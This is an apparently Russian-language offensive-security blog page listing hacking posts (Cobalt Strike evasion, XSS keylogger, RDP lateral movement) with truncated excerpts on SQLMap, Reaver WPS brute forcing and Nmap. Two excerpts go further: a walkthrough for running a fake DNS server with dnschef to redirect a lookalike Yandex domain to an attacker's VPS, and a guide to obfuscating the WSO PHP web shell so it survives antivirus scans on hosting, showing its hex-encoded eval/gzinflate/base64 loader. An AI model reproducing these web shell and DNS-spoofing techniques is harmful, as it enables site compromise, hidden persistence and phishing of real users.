{ RootSector }

Поиск по этому блогу

[ => Video ]

Получить ссылку
Facebook
X
Pinterest
Электронная почта
Другие приложения

Получить ссылку
Facebook
X
Pinterest
Электронная почта
Другие приложения

НЕДАВНИЕ ЗАПИСИ

Фишка почты Gmail

msfvenom - краткий мануал

Socks5 в две команды

Windows RDP - узнаем имена пользователей

XSS Keylogger

Установка Socks5 прокси на Ubuntu

Burp Suite Loader 1.7.31 - тот еще конь

мимишный шелл

Боковое движение - RDP

Проверяем учётные данные на популярных сервисах

RDP Inception — атака через подключенные диски

Cobalt Strike - обход Windows Defender с обфускацией полезной нагрузки

Шпаргалка по screen

PsExec ... Cobalt Strike

SQLMap - краткий мануал

SQLMap — данная утилита работает на большинстве платформ и написана на Python'e. Ее назначение-проведение sql инъекций. Некоторые ее возможности: * Определение "баннера системы" (сервера, интерпретатора скриптов, базы данных) * Отображение имени пользователя, под которым работает атакуемое хозяйство * Отображение баз данных, таблиц, колонок и полей * Позволяет определить, есть ли у пользователя права администратора БД * Позволяет выполнять произвольные SQL-запросы * При хорошем стечении обстоятельств выдаст список пользователей и их хеш-пароли * Позволяет сделать дамп, как отдельных таблиц, так и полный * Может взаимодействовать со всем нам известным Metasploit'ом * Используя баги в базах данных, может прочитать разные файлы, лежащие на сервере, будь то текстовый файл или скрипт * Может взаимодействовать с дядей Гуглом * Есть поддержка прокси * Данные могут отправляться как методом GET(по умолчанию), так и POST * Если на сервере ...

Reaver - краткий мануал

#Описание Все слышали о WPS и его знаменитой дыре,так что начну с середины. В протоколе WPS существует пин,состоящий из 8 ц ифр. Reaver реализует брутфорс атаку этого пин-кода. В случае,если пин подобран успешно, Reaver восстанавливает WEP/WPA ключ. В среднем,работа reaver составляет 10 часов,но в меньшинстве случаев,удается получить ключ от этих ваших вай-фаев и за 3 часа. #Установка Если вы не решились качать Kali Linux,то на вашей убунте его,скорее всего, нет. Так что для начала скачаем бесплатно без регистрации и смс нужную версию. После распаковки архива,выполняем сборку: $ ./configure $ make # make install А если захотите удалить,то : # make distclean #Использование Начнем с перевода адаптера в режим монитора. Я использую адаптер ALFA AWUS 036h Стандартный запуск выглядит так: # reaver -i mon0 -b 00:01:02:03:04:05 Запу...

Nmap - краткий мануал

Nmap — это утилита для разнообразного сканирования IP сетей, имеет возможность определения ОС удаленного хоста, "невидимое" сканирование, паралельное сканирование и многое другое. Ныне доступна для любой ОСи. Сканирует различными методами: UDP TCP (connect) TCP SYN (полуоткрытое) FTP-proxy (прорыв через ftp) Reverse-ident ICMP (ping) FIN ACK Xmas tree SYN и NULL-сканирование. Краткий мануал Основное использование: Root@Rapid7:~$ nmap google.de Узнаем на какой ОС сидит юзер Root@Rapid7:~$ nmap -O 192.168.1.105 Проверим сразу двоих Root@Rapid7:~$ nmap -O 192.168.1.104 192.168.1.105 Посмотрим что за софт используется Root@Rapid7:~$ nmap -sV google.de Nmap имеет возможность агрессивного сканирования. Сканирование может занять несколько минут; Nmap выведет много информации. Root@Rapid7:~$ nmap -A google.de Проверим диапазон ip Root@Rapid7:~$ nmap -sP 192.168.1...

Поднимаем фейковый DNS, подмена сайтов на роутерах

Так заметочка не статья. Тема порождает много вопросов. Одно из решений. Ответ на вопрос в профильной теме на ачате. Решил запостить и сюда наверняка кому то будет интересно. ================================================ Питон установлен в большинстве случаев Заходим по SSH на VPS. # wget https://thesprawl.org/media/projects/dnschef-0.3.zip # unzip dnschef-0.3.zip # cd dnschef* # chmod 755 *.py ставим модули # pip install dnslib # pip install IPy создаем файлик hosts.txt huyandex.ru=IP_TВОЕГО_VPS запускаем. предварительно убедись что 53 порт не занят и запущен апач с фейком ./dnschef.py -i 0.0.0.0 --logfile=log.txt --file=hosts.txt Твой DNS работает. Возвращает адреса, но только на запрос huyandex.ru отдает IP_TВОЕГО_VPS Либо так: ./dnschef.py -i 0.0.0.0 --logfile=log.txt --fakeip=IP_TВОЕГО_VPS Так твой ip возвращается в ответ на ЛЮБОЙ запрос. Если нужно оставить скрипт работать и выйти с vps, то запускайте через screen или nohup. Можно...

Прячем WSO от АВ

Бедняга WSO булава палица половиной АВ. Как не пакованый ( 26 /55 ), так и пакованный (лол, но даже 30 /55 ). Сегодня мы научимся обфусцировать WSO так, что он выживет даже после самого суроваво сканенга файленгов на хостенге. Для начала, давайте взглянем на пакованный шелл: 1 2 3 4 5 6 7 <?php $auth_pass = "63a9f0ea7bb98050796b649e85481845" ; $color = "#df5" ; $default_action = 'FilesMan' ; $default_use_ajax = true ; $default_charset = 'Windows-1251' ; preg_replace ( "/.*/e" , "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'______base64_______'\x29\x29\x29\x3B" , "." ) ; ?> Я убрал данные обернутые base64, ради экономии места. Первые 5 строк – это дикое палево, сколько шеллов было найдено по “FilesMan”… Поэтому эти 5 строк мы запихнем туда же, где остальной код в base64. А се...

Технологии Blogger

{ RootSector }

Поиск по этому блогу

[ => Video ]

Комментарии

Отправить комментарий